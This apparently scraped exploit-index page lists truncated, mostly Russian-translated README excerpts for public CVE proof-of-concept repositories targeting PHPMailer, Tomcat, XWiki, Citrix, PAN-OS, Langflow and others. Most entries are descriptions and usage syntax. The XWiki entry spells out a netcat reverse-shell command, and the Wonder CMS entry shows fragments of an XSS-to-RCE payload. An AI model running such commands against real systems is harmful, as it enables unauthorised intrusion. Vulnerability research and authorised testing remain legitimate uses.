opsxcq-cve-2016-10033

PHPMailer 5.2.18 원격 코드 실행 PHPMailer는 전 세계적으로 약 900만 명의 사용자를 보유한 세계에서 가장 인기 있는 전송 클래스입니다. 매일 상당한 속도로 다운로드가 계속되고 있습니다. WordPress, Drupal, 1CRM, SugarCRM, Yii, Joomla! 등 많은 오픈 소스 프로젝트에서 사용됩니다. PHPMailer 5.2.18 이전 버전에는 원격 코드 실행RCE으로 이어질 수 있는 취약점이 있습니다. PHPMailer의 isMail 전송 방식에 있는 mailSend 함수는 Sender...

CVE-2026-42945-NGINX-Rift-Toolkit

Набор инструментов для уязвимости Nginx Rift CVE-2026-42945 Комплексный набор инструментов для сканирования, исправления и тестирования CVE-2026-42945 — критической уязвимости удалённого выполнения кода RCE в nginx Содержание Обзор Детали CVE Возможности Компоненты набора Требования Установка...

CVE-2025-24813

🚨 CVE-2025-24813 – Apache Tomcat PUT JSP RCE Эксплойт Этот репозиторий содержит полное доказательство концепции PoC для CVE-2025-24813 — уязвимости удаленного выполнения кода RCE в Apache Tomcat с использованием метода HTTP PUT для развертывания вредоносного JSP веб-шелла. 🔥 Этот эксплойт...

CVE-2017-12149

CVE-2017-12149 Код от 1337g Использование: CVE-2017-12149.py http://targetip:port/ JBOSS RCE Понятия не имею, почему не работает с https...

CVE-2025-24893

CVE-2025-24893 Эксплойт удалённого выполнения кода для XWiki версий до 15.10.11, 16.4.1 и 16.5.0RC1. Использование $ python3 CVE-2025-24893.py -t 'http://example.com:8080' -c 'busybox nc 10.10.10.10 9001 -e /bin/bash' Используйте только в этических целях :...

Exploits_CVE-2019-19781

Эксплойт удаленного выполнения кода CVE-2019-19781- Citrix Application Delivery Controller & Gateway Эксплойт удаленного выполнения кода для Citrix Application Delivery Controller и Citrix Gateway CVE-2019-19781 Использование : bash CVE-2019-19781.sh IPOFVULNURABLEHOST COMMANDTOEXECUTE например :...

CVE-2021-40444

Уязвимость удалённого выполнения кода в Microsoft MSHTML CVE-2021-40444 Как отключить элементы управления ActiveX на отдельной системе? 1. Чтобы запретить установку элементов управления ActiveX в Internet Explorer во всех зонах, вставьте приведённый ниже текст в текстовый файл и сохраните его с...

CVE-2025-1302_jsonpath-plus_RCE

CVE-2025-1302 JSONPath-Plus RCE PoC Название скрипта PoC: poc.py Скрипт эксплойта Proof-of-Concept для CVE-2025-1302, который нацелен на уязвимость RCE в библиотеке jsonpath-plus. При запуске против уязвимой конечной точки сервиса скрипт пытается инициировать удаленное выполнение кода через...

CVE-2026-103889

The 3D Product configurator for WooCommerce plugin for WordPress (versions

EUVD-2026-96055

The 3D Product configurator for WooCommerce plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 2.16.2 via the 'xpvimage' parameter parameter. This is due to missing authentication and nonce checks on the wploaded handler combined with no sanitization...

CVE-2021-45010

CVE-2021-45010 Название эксплойта: Tiny File Manager 2.4.6 Аутентифицированный Удаленное выполнение кода Дата: 04 марта 2023 г. Автор эксплойта: Syd Software Ссылка: https://github.com/prasathmani/tinyfilemanager Версия: Tiny File Manager = 2.4.3 Протестировано на: Parrot OS 20.04 CVE :...

CVE-2018-8097

CVE-2018-8097 PoC Это простой скрипт на Python, демонстрирующий эксплуатацию уязвимости CVE-2018-8097, затрагивающей библиотеку PyEve версий ниже 0.7.5. Использование usage: cve20188097.py -h -u URL -c COMMAND options: -h, --help show this help message and exit -u URL, --url URL Target URL where...

CVE-2023-41425

https://sploitus.com/exploit?id=3A833277-4844-5F02-AFEF-5EA6BA8AC1AC Wonder CMS RCE | | Описание: XSS to RCE, Wonder CMS 3.2.0 evil/evil.php EOF zip -r evil.zip evil/ JS payload that will install the new theme cat xssrce.js var xhr=new XMLHttpRequest; xhr.open"GET",...

CVE-2019-15120

CVE-2019-15120 Эксплойт для XSS через BBCode в расширении Kunena до версии 5.1.14 для Joomla! Информация Описание: В расширении Kunena до версии 5.1.14 для Joomla! любой пользователь может выполнить атаку stored XSS, отправив специальное сообщение в любое поле с поддержкой BBcode. В результате...

react2shell

React2Shell - Эксплойт PoC для CVE-2025-55182 Доказательство концепции эксплойта для CVE-2025-55182 — критической уязвимости удалённого выполнения кода в приложениях Next.js, использующих React Server Components. ⚠️ ОТКАЗ ОТ ОТВЕТСТВЕННОСТИ ЭТОТ ИНСТРУМЕНТ ПРЕДНАЗНАЧЕН ТОЛЬКО ДЛЯ ОБРАЗОВАТЕЛЬНОГО ...

langflow-CVE-2026-33017-poc

CVE-2026-33017 — PoC неаутентифицированного RCE в Langflow Только для образовательных целей и авторизованного тестирования. Краткое описание Langflow = 1.8.1 предоставляет публичную конечную точку сборки потока, которая принимает управляемые атакующим данные потока, содержащие произвольный код...

CVE-2021-22986

F5 BIG-IP RCE / CVE-2021-22986 уязвимость удаленного выполнения кода Автор: Tas9er Предупреждение Этот инструмент предназначен для быстрого выявления и устранения уязвимостей на предприятиях. Используйте только для авторизованного тестирования безопасности, строго соблюдая Закон КНР о...

CVE-2022-22947

CVE-2022-22947 CVE-2022-22947EXP,CVE-2022-22947RCE Использование Обратная оболочка reverse shell python3 CVE-2022-22947.py целевой URL IP для обратной оболочки порт Выполнение команды python3 CVE-2022-22947.py целевой URL команда...

PanOsExploitMultitool

PanOsExploitMultitool Мультитул для эксплуатации и пост-эксплуатации систем Palo Alto PAN-OS, подверженных уязвимостям CVE-2024-0012 и CVE-2024-9474 В ходе ранней эксплуатации уязвимостей удалённого выполнения кода CVE-2024-0012 и CVE-2024-9474 я получил оболочку и начал выявлять конфигурационные...

Mass-scanner-for-CVE-2019-0708-RDP-RCE-Exploit

Mass-scanner-for-CVE-2019-0708-RDP-RCE-Exploit Этот скрипт написан для улучшения PoC-скрипта https://github.com/zerosum0x0/CVE-2019-0708 Бинарник rdesktop слишком долго ждал таймаута, поэтому я захотел ускорить таймаут Множественное сканирование IP было невозможно, теперь вы можете сканировать...